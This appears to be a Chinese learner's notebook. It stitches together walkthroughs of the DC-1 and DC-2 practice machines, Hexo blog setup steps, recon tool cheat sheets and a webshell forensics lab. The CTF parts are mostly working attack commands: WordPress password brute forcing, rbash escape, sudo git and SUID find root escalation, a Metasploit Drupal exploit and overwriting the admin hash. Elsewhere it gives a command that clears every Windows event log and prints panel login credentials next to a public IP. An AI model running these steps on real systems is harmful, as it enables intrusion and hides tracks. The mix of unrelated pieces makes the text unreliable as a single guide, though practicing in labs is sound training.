1
2

ipconfig
nmap -A 192.168.92.0/24

1
2
3
4
5
6
7
8
9
10
11
12
13
14

Nmap scan report for dc-2 (192.168.92.135)
Host is up (0.00068s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-generator: WordPress 4.7.10
|_http-title: DC-2 – Just another WordPress site
MAC Address: 00:0C:29:67:A5:C2 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

1

nmap -p- 192.168.92.135

1
2
3
4
5
6
7
8

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-07 00:33 EST
Nmap scan report for dc-2 (192.168.92.135)
Host is up (0.00066s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
80/tcp   open  http
7744/tcp open  raqmon-pdu
MAC Address: 00:0C:29:67:A5:C2 (VMware)

1

nmap --script=vuln -p80,7744 192.168.92.135

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-07 00:35 EST
Nmap scan report for dc-2 (192.168.92.135)
Host is up (0.00058s latency).

PORT     STATE SERVICE
80/tcp   open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=dc-2
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://dc-2:80/index.php/what-we-do/%5C%22
|     Form id: search-form-6750e7244cc64
|     Form action: http://dc-2/
|     
|     Path: http://dc-2:80/index.php/our-people/%5C%22
|     Form id: search-form-6750e724c5c81
|_    Form action: http://dc-2/
| http-wordpress-users: 
| Username found: admin
| Username found: tom
| Username found: jerry
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /wp-login.php: Possible admin folder
|   /readme.html: Wordpress version: 2 
|   /: WordPress version: 4.7.10
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|_  /readme.html: Interesting, a readme.
7744/tcp open  raqmon-pdu
MAC Address: 00:0C:29:67:A5:C2 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 31.00 seconds

1
2
3
4
5

关键：
| http-wordpress-users: 
| Username found: admin
| Username found: tom
| Username found: jerry

访问http://dc-2/没有返回

1
2
3
4

find / -name hosts
vim /etc/hosts
192.168.92.135  dc-2
访问http://dc-2/

1
2
3
4
5
6

Flag 1:

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.

Cewl介绍
Cewl是一款采用Ruby开发的应用程序，你可以给它的爬虫指定URL地址和爬取深度，还可以添额外的外部链接，接下来Cewl会给你返回一个字典文件，你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外，Cewl还提供了命令行工具。
使用：

1

cewl <url> [options] 

Cewl可以将打印出的字典存储为文件

1

cewl url -w dict.txt

1

cewl http://dc-2/  -w  password.txt

目前有用户名：admin，tom，jerry，密码字典

扫描后台：

apt-get install dirsearch

1
2
3
4
5

默认方式扫描单个url
dirsearch -u http://dc-2/

使用文件拓展名为php和txt以及js的字典扫描目标
dirsearch -e php,txt,js -u http://dc-2/

1

[00:42:30] 200 -    1KB - /wp-login.php

1

http://dc-2/wp-login.php

1

或者 dirb http://dc-2

Wordpress有一个著名的扫描工具wpscan

1

wpscan --url http://dc-2/ -e u      //枚举用户名字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] jerry
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] tom
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

1
2
3
4
5

vim user.txt

admin
tom
jerry

1

wpscan --url http://dc-2/ -U user.txt -P password.txt

1
2
3

[!] Valid Combinations Found:
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

Username: jerry, Password: adipiscing
登录jerry
pages->flag2

1
2
3
4

Flag 2:

If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.

除了80端口还有7744端口
详细扫描7744段口：

1

nmap -A -p7744 192.168.92.135

1
2
3
4
5
6
7
8
9
10
11

PORT     STATE SERVICE VERSION
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
|   2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
|   256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_  256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
MAC Address: 00:0C:29:67:A5:C2 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X

7744是ssh端口
Username: jerry, Password: adipiscing
Username: tom, Password: parturient
尝试ssh登录

1
2

ssh jerry@192.168.92.135 -p 7744
ssh tom@192.168.92.135 -p 7744

jerry不行，tom登录成功

1

tom@DC-2:~$ ls

flag3.txt usr

1

tom@DC-2:~$ cat flag3

-rbash: cat: command not found

-rbash

1

compgen -c       //查看可以使用的指令

可以用vi或者less

1

tom@DC-2:~$ less flag3.txt

1

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

下一个flag可能在jerry目录，
vi提权
vi随便打开文件
再下面添加

1
2

:set shell=/bin/sh
:shell

1

$ whoami

/bin/sh: 1: whoami: not found

1

$ ls

flag3.txt usr

1
2

$ cd ..
$ ls

jerry tom

1
2

$ cd jerry
$ ls

flag4.txt

1

$ cat flag4.txt

/bin/sh: 7: cat: not found

1

$ less flag4.txt

1
2
3
4
5
6
7

Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

$ su root
/bin/sh: 10: su: not found
权限还是不是很高

rbash环境变量的提权：

1
2

┌──(root㉿kali)-[/home/kali]
└─# ssh tom@192.168.92.135 -p 7744

1
2
3
4
5

export -p        //查看环境变量
BASH_CMDS[a]=/bin/sh;a         //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/         //添加环境变量
export PATH=$PATH:/usr/bin      //添加环境变量

发现还是进不去root目录
查找所有SUID集文件
find / -perm -u=s -type f 2>/dev/null

1

tom@DC-2:/$ find / -perm -u=s -type f 2>/dev/null

/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/at
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/bin/umount
/bin/mount
/bin/su

可以使用su
尝试一下jerry用户
Username: jerry, Password: adipiscing

1

su jerry

1

sudo -l   显示出自己（执行 sudo 的使用者）的权限

1
2
3
4
5
6

Matching Defaults entries for jerry on DC-2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jerry may run the following commands on DC-2:
    (root) NOPASSWD: /usr/bin/git

git提权

1
2

sudo git -p help config
!/bin/sh

1

sudo -l

1
2
3
4
5
6

Matching Defaults entries for root on DC-2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User root may run the following commands on DC-2:
    (ALL : ALL) ALL

1

whoami

root

1

sudo -i

1

root@DC-2:~# ls

final-flag.txt

1

root@DC-2:~# cat final-flag.txt 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

__    __     _ _       _                    _

/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

1

ipconfig

1
2
3

nmap -A 192.168.92.0/24
或者
nmap -sS 192.168.92.0/24

192.168.92.134
22-ssh
80-http

22-ssh-暴力破解

1

nmap --script=ssh-brute 192.168.92.134

1

cat /usr/share/nmap/scripts

80-http
wappalyzer分析网站信息—drupal7（cms）
漏洞库搜索漏洞：https://www.exploit-db.com/
使用kali的msf进行渗透

1
2
3
4
5
6

msfconsole
search  drupal
use exploit/unix/webapp/drupal_coder_exec （不行的话换）
show options
set RHOSTS 192.168.92.134
run

第一个不行换第二个

1
2
3
4

search  drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.92.134
run

这一个可以
meterpreter > 代表成功

查看基本信息：

1

sysinfo

进入shell：

1

shell

进入交互shell

1
2
3
4

python -c 'import pty;pty.spawn("/bin/bash")'

whoami
ls

看见flag1.txt

1

cat flag1.txt

​Every good CMS needs a config file - and so do you.

百度搜一下drupal配置文件位置
名称为settings.php，默认sites/default/files
直接从根目录查找

1

find / -name settings.php

返回/var/www/sites/default/settings.php

查看一下配置文件：

1
2

cat /var/www/sites/default/settings.php
vim /var/www/sites/default/settings.php

没有vim命令，cat大致看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

/**
 *

 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
   *
    */

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

找到flag2，并且找到数据库信息，mysql数据库drupaldb数据库 账号 dbuser，密码 R0ck3t
mysql登录：

1
2

mysql -u dbuser -p
R0ck3t

1
2
3

show databases;
use drupaldb;
show tables;

1

select * from users\G;

/G 的作用是将查到的结构旋转90度变成纵向：
可以看见admin的密码加密了

1
2
3

name: admin
pass: $S$DRsy84V8nqpNlLHjKnJb4./6IGFCSrfGofxvWAa3NJadpsXRRLCC
mail: admin@example.com

可能文件中有加密的文件，find找一下

1
2

find  / -name "*hash*"
find  . -name "*hash*"

./scripts/password-hash.sh

可以看一下

1

cat ./scripts/password-hash.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

/**

Drupal hash script - to generate a hash from a plaintext password
*

Check for your PHP interpreter - on Windows you'll probably have to

replace line 1 with

#!c:/program files/php/php.exe
 *

@param password1 [password2 [password3 ...]]

Plain-text passwords in quotes (or with spaces backslash escaped).
*/

可以看到注释写的意思是php程序
这样我们可以生成admin的密码，接着修改表，最后就能登陆了

生成admin密码admin的hash：

1
2
3

php  ./scripts/password-hash.sh admin

password: admin                 hash: $S$Dgzz4JTraJWh0iYjZ6jlSGLzS5KEzNEep/U5LWiD6hpRivaSJhWz

进入数据库，修改表

1
2
3
4
5
6
7
8

mysql -u dbuser -p
R0ck3t

show databases;
use drupaldb;
show tables;

update users set pass='$S$Dgzz4JTraJWh0iYjZ6jlSGLzS5KEzNEep/U5LWiD6hpRivaSJhWz' where name='admin';

1
2

Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0

成功，我们可以登陆网站查看
从Dashboard看到Recent content中有flag3

1

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

shadow文件解释：

/etc/shadow 文件，用于存储 Linux 系统中用户的密码信息，又称为“影子文件”。

前面介绍了 /etc/passwd 文件，由于该文件允许所有用户读取，易导致用户密码泄露，因此 Linux 系统将用户的密码信息从 /etc/passwd 文件中分离出来，并单独放到了此文件中。

/etc/shadow 文件只有 root 用户拥有读权限，其他用户没有任何权限，这样就保证了用户密码的安全性。

1
2

exit 退出mysql
cat /etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash

可以看到flag4用户，不知道flag4密码，su flag4失败，可以去看看flag4用户目录是否有权限访问：

1
2
3

ls /home/
ls /home/flag4/
cat /home/flag4/flag4.txt

1
2
3
4

内容：
Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?

说明root里面还有个flag
ls /root/ 显然是不行，没有权限

上面说了/etc/shadow文件存放密码，cat /etc/shadow 也没有权限

这样的话我们必须的把权限提升，SUID是Linux的一种权限机制，具有这种权限的文件会在其执行时，使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限，那么就可以利用系统中的二进制文件和工具来进行root提权。

已知的可用来提权的linux可行性的文件列表如下：
nmap,vim,find,bash,more,less,nano,cp
查找系统上运行的所有SUID可执行文件
不同系统适用于不同的命令

1
2
3
4
5

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

find / -user root -perm -4000-print2>/dev/null

find / -user root -perm -4000-exec ls -ldb {} \;

-type f: 只查找普通文件，排除目录等其他类型的文件
-exec ls -la {} 2>/dev/null ;: 对查找到的文件执行 ls -la 命令
2>/dev/null 表示将标准错误输出重定向到 /dev/null，以避免显示不必要的错误信息
-perm匹配权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

-rwsr-xr-x 1 root root 88744 Dec 10  2012 /bin/mount
-rwsr-xr-x 1 root root 31104 Apr 13  2011 /bin/ping
-rwsr-xr-x 1 root root 35200 Feb 27  2017 /bin/su
-rwsr-xr-x 1 root root 35252 Apr 13  2011 /bin/ping6
-rwsr-xr-x 1 root root 67704 Dec 10  2012 /bin/umount
-rwsr-sr-x 1 daemon daemon 50652 Oct  4  2014 /usr/bin/at
-rwsr-xr-x 1 root root 35892 Feb 27  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 45396 Feb 27  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 30880 Feb 27  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44564 Feb 27  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 66196 Feb 27  2017 /usr/bin/gpasswd
-rwsr-sr-x 1 root mail 83912 Nov 18  2017 /usr/bin/procmail
-rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find
-rwsr-xr-x 1 root root 937564 Feb 11  2018 /usr/sbin/exim4
-rwsr-xr-x 1 root root 9660 Jun 20  2017 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 248036 Jan 27  2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 5412 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 321692 Feb 10  2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 84532 May 22  2013 /sbin/mount.nfs

找到 -rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find，根据查找结果可以看到/usr/bin/find被赋予了suid权限，而他的所有者为root，我们可以这样获取一个root权限的shell：

1
2

find /etc/passwd -exec /bin/bash -p \;
whoami

1
2

返回
root

成功提权

1
2
3
4
5
6
7
8
9
10

ls /root/
thefinalflag.txt

cat /root/thefinalflag.txt
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

1.GitHub账号

需要有一个GitHub账号，没有的话到 官网 申请一个。

注册很简单，不懂的话可以参考 GitHub申请账号

2.安装Git

在自己电脑上安装好Git，hexo部署到GitHub时要用。

网上找篇教程或者参考 Git安装(Windows)

https://zhuanlan.zhihu.com/p/607970211

3.安装NodeJS

在自己电脑上安装好NodeJS，Hexo是基于NodeJS编写的，所以需要安装NodeJS和npm工具。

网上找篇教程或者参考 NodeJS安装及配置(Windows)

https://blog.csdn.net/yaorongke/article/details/119084295

提示：

若使用npm安装，报错：

npm ERR! code EPERM

npm ERR! syscall mkdir

npm ERR! path E:\blog\node\node_cache_cacache

npm ERR! errno -4048

npm ERR! Error: EPERM: operation not permitted, mkdir ‘E:\blog\node\node_cache_cacache’

npm ERR! [Error: EPERM: operation not permitted, mkdir ‘E:\blog\node\node_cache_cacache’] {

npm ERR! errno: -4048,

npm ERR! code: ‘EPERM’,

npm ERR! syscall: ‘mkdir’,

npm ERR! path: ‘E:\blog\node\node_cache\_cacache’

npm ERR! }

npm ERR!

npm ERR! The operation was rejected by your operating system.

npm ERR! It’s possible that the file was already in use (by a text editor or antivirus),

npm ERR! or that you lack permissions to access it.

npm ERR!

npm ERR! If you believe this might be a permissions issue, please double-check the

npm ERR! permissions of the file and its containing directories, or try running

npm ERR! the command again as root/Administrator.

npm ERR! Log files were not written due to an error writing to the directory: E:\blog\node\node_cache_logs

npm ERR! You can rerun the command with --loglevel=verbose to see the logs in your terminal

解决方法：

删除.npmrc文件

该文件在：C:\Users{账户}\下的.npmrc文件，

一般这种类型的都是默认被隐藏，一定要选择将隐藏取消掉

二、安装hexo

1.安装hexo

npm install -g hexo-cli

或者

cnpm install -g hexo-cli

安装完成可输入hexo -v查看版本

2.初始化hexo，新建存储博客的文件夹

hexo init myblog

3.进入文件夹，安装一下npm

cd myblog

npm install

可以看到我们的hexo站点就已经安装好了，接下来就可以直接启动他了

4.启动服务站点

hexo g

hexo server

5.在ubuntu服务器上安装宝塔面板

wget -O install.sh https://download.bt.cn/install/install-ubuntu_6.0.sh && sudo bash install.sh ed8484bec

==================================================================

Congratulations! Installed successfully!

========================面板账户登录信息==========================

外网面板地址: http://121.28.162.183:39994/c22e399f

内网面板地址: http://192.168.111.138:39994/c22e399f

username: kqgjldvh

password: 819f512e

=========================打开面板前请看===========================

【云服务器】请在安全组放行 39994 端口

因默认启用自签证书https加密访问，浏览器将提示不安全

点击【高级】-【继续访问】或【接受风险并继续】访问

教程：https://www.bt.cn/bbs/thread-117246-1-1.html

==================================================================

浏览器访问以下链接，添加宝塔客服

https://www.bt.cn/new/wechat_customer

==================================================================

Time consumed: 4 Minute

https://ohevan.com/vercel-hexo-configuration.html

hexo 也提供了简易方式启动命名：hexo s，启动后在浏览器访问：*http://localhosst:4000*即可打开。

hexo s 启动本地服务

hexo clean 清除缓存

hexo g 打包

hexo new post article 创建一个名称为 article 的文章

hexo new page about 创建一个名称为 about 的路由页面

配置主题

https://redefine-docs.ohevan.com/getting-started

Create a new post

$ hexo new “My New Post”

More info: Writing

Run server

$ hexo server

More info: Server

Generate static files

$ hexo generate

More info: Generating

Deploy to remote sites

$ hexo deploy

git config –global –unset http.proxy

git config –global –unset https.proxy

git config –global http.proxy http://127.0.0.1:7890

git config –global https.proxy http://127.0.0.1:7890

git config –global -l

Git status

Git add –all

Git commit -m “ ”

Git push

DNS域名系统-收集子域名

IP或域名查询

https://hackertarget.com/find-dns-host-records/

https://sitereport.netcraft.com/

威胁情报数据-收集子域名

https://www.threatminer.org/index.php

https://www.virustotal.com/

https://x.threatbook.com/

证书透明度-收集子域名

什么是证书透明度 ?
在某些情况下，人为错误或假冒行为可能会导致误发证书。证书透明度(CT)改变了签发流程，新流程规定:证书必须记录到可公开验证、不可篡改且只能附加内容的日志中，用户的网络浏览器才会将其视为有效。通过要求将证书记录到这些公开的CT日志中，任何感兴趣的相关方都可以查看由授权中心签发的所有证书。借助该体系我们可以检测被证书授权中心误发的 SSL证书，以及发现已失常并恶意签发证书的证书授权中心。这可促使授权中心在签发证书时更加负责，从而有助于形成一个更可靠的系统。

https://crt.sh/

https://sslmate.com/ct_search_api/

https://transparencyreport.google.com/https/certificates/

https://ui.ctsearch.entrust.com/ui/ctsearchui

通过js文件获取url与子域名

安装 git clone https://github.com/Threezh1/JSFinder.git

python3 JSFinder.py -u https://gpt.wmhwiki.cn //普通爬取
python3 JSFinder.py -u https://baidu.com -d //深度爬取

“python3 JSFinder.py -u https://baidu.com -d -ou baidu_url.txt -os
baidu_subdomain.txt //url保存到baidu_url.txt，子域名保存到baidu_subdomain.txt

python3 JSFinder.py -f text.txt //指定url，text.txt内容为url列表，每行一个
python3 JSFinder.py -f text.txt -j //指定js,text.txt内容为js的url,每行一个

子域名暴力破解-oneforall

OneForAIl–一款强大的子域名收集工具
https://github.com/shmilylty/OneForAll
使用方法
python3 oneforall.py –target example.com run

二、搜索语法

fofa语法

域名https://fofa.info

title=”beijing” //从标题中搜索“beijing”
body=”网络空间测绘” //从html正文中搜索“网络空间测绘”
domain=”qq.com” //搜索根域名带有qq.com的网站
host=”.gov.cn” //从url中搜索”.gov.cn”
port=”6379” //查找对应“6379”端口的资产
ip=”1.1.1.1/24” //查询IP为“1.1.1.1”的C网段资产
domain=”qq.com” && port=”22” //通过&&符号组合多个条件

zoomeye语法

+来连接

搜索引擎语法

google镜像站 https://fsou.cc

搜索引擎包括google/baidu/bing等
site:xxx.com //搜索xxx.com域名(包含子域名)的页面

inurl:login //搜索url中包含login的页面
intitle:login //搜索标题带有login的页面
intext:login //搜索网页内容中带有login的页面
filetype:doc //搜索后缀为doc的文件

减号-的用法:排除特定内容
双引号“”的用法:使搜索关键词不被拆分
https://www.exploit-db.com/google-hacking-database

三、端口扫描，抓包分析

nmap端口扫描收集信息

端口：
“端口”是英文port的意译，可以认为是设备与外界通讯交流的出口。端口可分为虚拟端口和物理端口，其中虚拟端口指计算机内部或交换机路由器内的端口，不可见。例如计算机中的80端口、21端口、23端口等。物理端口又称为接口，是可见端口，计算机背板的RJ45网口，交换机路由器集线器等RJ45端口。电话使用RJ11插口也属于物理端口的范畴。

TCP三次握手

nmap 官网https://nmap.org/
常用参数
-sS/-ST #tcp半连接/tcp全连接方式扫描
-p #指定端口，支持多种写法，如-p22; -p22,80,443;-p1-65535;
-sV #显示端口对应服务详细版本信息
-iL #扫描多个ip或者多个网段时，可写入到文本文件里，按行分隔，通过-iL指定文件
-sC #调用默认脚本扫描
–host-timeout #设置每台主机扫描最大超时时间，避免大范围扫描时单台主机耗费时间
单位为秒，即–host-timeout 30表示每台主机最多扫描30秒
-oN/-oX #输出普通文本格式/输出XML格式

nmap -O ip #识别操作系统，需要root权限

详细端口扫描

nmap -p- 192.168.92.135

nmap -sT -sV -O -p80,7744 192.168.92.135
漏洞脚本扫描，目标主机或网段扫描是否存在常见的漏洞
nmap –script=vuln -p80,7744 192.168.92.135

nmap集成了许多扫描脚本

在/usr/share/nmap/scripts目录下

看到带有暴力破解字样的脚本：mysql-brute.nse

测试一下：

nmap -p 3306 –script=mysql-brute.nse 127.0.0.1

app抓包收集信息

burp + mumu
在同一个wlan下设置代理 burp抓包

burp配置

certutil -hashfile 文件 查看文件MD5

netstat -ano 查看tcp连接

宏病毒

win+r regedit
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
查看启动项

for /F “tokens=*” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl “%1”
立即删除所有类型的Windows事件日志。

wevtutil.exe cl System 来清除系统日志
wevtutil.exe cl Application 来清除应用程序日志

5shift粘滞键

[root@localhost defend]# grep “Accepted “ /var/log/secure* | awk ‘{print $1,$2,$3,$9,$11}’
Mar 18 20:23:07 root 192.168.75.129
Mar 20 14:28:21 defend 192.168.1.104

mysql 3306
find / -name config.inc.php（数据库常用配置文件名）

redis 6379
cat /var/log/redis/redis.log | grep Acc

192.168.75.129

查看用户
cat /etc/passwd

账户排查
排查是否有黑客进来或者创建了用户，同事在这里也可以排查一下是否有黑客暴力破解ssh。

w #查看当前登录进来的用户操作

cat /etc/passwd #查看是否有可疑账号

cat /etc/shadow #查看影子文件是否有问题

过滤特权用户
查看是否有其他可疑的特权用户
awk -F: ‘$3==0{print $1}’ /etc/passwd

过滤远程登录用户
查看是否有其他可疑远程登录用户
awk ‘/$1|$6/{print $1}’ /etc/shadow

查看可疑进程
ps -aux

查看可以命令
history

/home/www/wwwroot
127.0.0.1/.api
/etc/profile
go_build_untited.exe

那么黑客是怎么打进来的？
此时，想到了刚才查看passwd文件时，最后一个用户是redis用户，说明该机器上存在redis服务，于是查看网络连接，看看6379端口是否开放。

netstat -anltup

没有发现6379端口，那么先运行该服务

redis-server

redis运行起来之后，需要进行登录，但是不知道密码，那就先尝试一下redis未授权

查看redis安装位置
先查看redis进程号, 查看命令: ps -ef | grep redis
ll -l /proc/4687/cwd

看看有哪些文件被修改过
rpm -Vf /usr/bin/*

看监控的时候发现webshell告警，领导让你上机检查你可以救救安服仔吗！！

账号：root，密码：Inch@957821.

靶场要求：

（1）提交攻击者IP
（2）提交攻击者修改的管理员密码(明文)
（3）提交第一次Webshell的连接URL
（4）提交Webshell连接密码
（5）提交数据包的flag1
（6）提交攻击者使用的后续上传的木马文件名称
（7）提交攻击者隐藏的flag2
（8）提交攻击者隐藏的flag3

过程：

1. 为了方便，先用xshell连接靶机

登录靶机之后查看ip地址：ipconfig

ip：192.168.92.130

xshell连接：

刚开机，ls查看一下吧

2. 发现有个数据包，用xftp连接拷出来，并且用wireshark打开，并且稍稍分析一下数据。

我一眼就看出来，192.168.20.1和192.168.20.144进行数据传输，攻击者不是20.1就是20.144，背景中发现webshell告警，说明服务器开启了web服务，用的协议不是http就是https，我们过滤http协议的数据包来分析一下：

发现192.168.20.1向192.168.20.144发送了post请求并且携带参数，右键->追踪流->HTTP Stream，发现很奇怪的一串编码（url编码特征：使用%后跟着十六进制数字的方式替代不安全的ASCLL字符），url解码分析代码，user-app-register根据名字推测可能是注册（bushi，其实是是webshell，对应第一次Webshell的连接URL（3）index.php?user-app-register,同时推出攻击者ip：（1）192.168.20.1

注：根据 Network2020=@ini_set(“display_errors”, “0”); 就可以知道这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码，但是有的客户端会将这段编码或者加密，而蚁剑是明文，所以较好发现。所以连接密码是（4）Network2020

知道攻击者ip，这样我们可以继续细分过滤源ip和协议：ip.src eq 192.168.20.1 and http

发现攻击者先是提交user-app-register，之后get请求了flag1，最后post请求version2，推测后续上传的木马文件名称就是（6）version2

flag1？？？查看一下吧 右键->追踪流->HTTP Stream

找到（5）flag1{Network@_2020_Hack}，并且发现一大串编码猜测可能是用户cookie

3. 去服务器查找文件

竟然没有发现？？？！！！

然后 history 历史命令

首先关闭了防火墙，推测数据库是mysql，并且使用了宝塔，大致目录/www/wwwroot/127.0.0.1

继续查看，发现删除了flag1和，version2文件

并且还发现了（8）flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

从历史命令中看到编辑了好多文件，现在挨个查看看编辑了什么

查看：cat /etc/sysconfig/selinux

查找文件位置：

find / -name mpnotify.php

find / -name alinotify.php

查看：

cat /www/wwwroot/127.0.0.1/api/mpnotify.php

cat /www/wwwroot/127.0.0.1/.api/mpnotify.php

cat /www/wwwroot/127.0.0.1/api/alinotify.php

cat /www/wwwroot/127.0.0.1/.api/alinotify.php

最终功夫不负有心人，发现了（7）flag2 = “flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}”

4. 最后发现，还有（2）未完成，攻击者修改的管理员密码，上面，我们从history历史命令发现使用过bt且推测使用mysql数据库

|-用户名: vkegzrry
|-新密码: xiaoxiao

